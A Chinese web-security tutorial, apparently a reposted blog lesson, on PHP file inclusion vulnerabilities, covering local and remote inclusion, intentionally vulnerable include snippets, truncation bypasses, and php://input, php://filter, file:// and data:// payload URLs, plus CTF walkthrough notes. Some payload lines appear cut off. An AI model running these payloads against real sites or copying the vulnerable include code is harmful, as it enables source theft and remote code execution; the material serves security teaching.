我的编程空间,编程开发者的网络收藏夹
学习永远不晚

第31天:WEB漏洞~文件操作之文件包含漏洞全解

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

第31天:WEB漏洞~文件操作之文件包含漏洞全解

目录

1. 文件包含漏洞

在这里插入图片描述

1.1. 原理、检测、类型、修复

  1. 原理: 网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件。浅谈文件包含漏洞

文件包含各个脚本代码 ASP,PHP,JSP,ASPX等



<%@ include file=“head.jsp”%>

  1. 检测
    黑盒测试,参数值如果为文件名,则可以尝试
  2. 类型:本地包含(只可引入网站本地文件)、远程包含(包含远程网址文件,危害相较大)。两种包含类型亦各分为有限制与无限制
  3. 修复
  1. 首先是无解的WAF产品
  2. 固定后缀:添加文件后缀到所包含的文件名。实战情况下不清楚所添加的后缀,未知将在造成更多的疑虑,但是可以测一测
  3. 固定文件:似与C语言头文件,不进行所包含文件的修改,都定下来。
  4. 对可变的所包含文件名进行检测!

1.2. 无限制&有限制的包含

无限制为直接直接包含文件:

$filename=$_GET['filename'];include($filename);?>

有限制为直接直接包含文件:以添加固定后缀为例

$filename=$_GET['filename'];include($filename.".html");?>

1.2.1 本地包含

无限制:可直接包含http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
有限制:即漏洞使用有干扰,则需要特殊方法绕过

%00 截断:条件:magic_quotes_gpc = off pho版本<5.3.4
长度截断:条件:区分操作系统:windows点号需要长于256;linux长于4096

1.2.2 远程包含

无限制:直接包含:http://192.168.114.11/webinclude.php?filename=http://www.xiaodi8.com/readme.txt

限制强制添加.html 可以用以上的符号 ?%23(#注释符吧)%20(空格)(不可用)

1.3. 协议流

  1. 首先确认当前搭建网站的环境所支持的协议
    脚本所支持的协议:【图】
  2. 以php网站为例,原文链接:php伪协议
    各协议的利用条件和方法,php.ini参数设置需求:
    在这里插入图片描述

php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filterphp://input

  1. php://filter用于读取源码
  2. php://input用于执行php代码
php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。

  1. 当传入的参数作为文件名打开时,可以将参数设为php://input同时post想设置的文件内容,php执行时会将post内容当作文件内容。
  2. 注:当enctype=”multipart/form-data”时,php://input是无效的

http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]'); ?>

php://filter

读取文件源码用法:
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
http://127.0.0.1:8080/include.php?filename=file://D:/phpstudy/PHPTutorial/WWW/1.txt

data://

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码
http://127.0.0.1:8080/include.php?filename=data://text/plain,

2. 示例

2.1. 本地文件包含代码测试-原理

本地准备 phpinfo的txt文件

http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
大多代码语言文件包含中可添加路径以读取其他路径下文件:../../d:\

有限制时:以添加 .html后缀为例
在这里插入图片描述

2.2. 远程文件包含代码测试-原理

对于远程包含,若php环境禁止,即没有远程包含功能
在这里插入图片描述

  1. 无限制时直接包含:
    在这里插入图片描述
  2. 以添加 .html后缀为例的限制级:
    在这里插入图片描述

2.3. 各种协议流提交流测试-协议

php://input & php://filter

在这里插入图片描述
在这里插入图片描述

file://

所查询的文件将以php代码执行
在这里插入图片描述

data://,执行php代码

在这里插入图片描述

2.4. 某 CMS 程序文件包含利用-黑盒

网站源码:转载自迪师傅 提取码: 5phi
易酷CMS2.5本地文件包含漏洞复现

2.5. CTF-南邮大,春秋百度杯真题-白盒

2.5.1 CTF-南邮大

链接:CTF-南邮大

  1. 根据跳转链接敏感词 file=show.php (黑盒手工看参数及功能点)

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

  1. 直接访问 show.php 也可以正常显示,判断网站机制是将文件包含进主文件以展示
  2. 测试使用 php://input 被拒绝,尝试无所谓开启的文件读取功能
    在这里插入图片描述

2.5.2 春秋学院

春秋学院
没有认证码没有认证资料…
在这里插入图片描述


来源地址:https://blog.csdn.net/qq_42438245/article/details/127001004

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

第31天:WEB漏洞~文件操作之文件包含漏洞全解

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录